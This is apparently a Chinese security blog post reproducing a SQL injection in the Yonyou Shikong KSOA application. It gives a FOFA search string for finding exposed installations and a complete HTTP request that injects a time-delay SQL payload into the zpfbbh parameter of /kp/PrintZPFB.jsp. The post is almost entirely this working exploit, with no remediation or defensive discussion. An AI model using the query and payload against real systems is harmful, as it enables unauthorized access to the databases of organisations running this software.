Babing
Published on 2024-08-30 / 1 Visits
0
0

Y22-10用友-时空KSOA-SQL

Y22-10用友-时空KSOA-SQL

fofa语法:

app=“用友-时空KSOA”

漏洞复现:

延时3秒,执行2次
payload:

GET /kp/PrintZPFB.jsp?zpfbbh=1%27%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

效果图:
效果图


Comment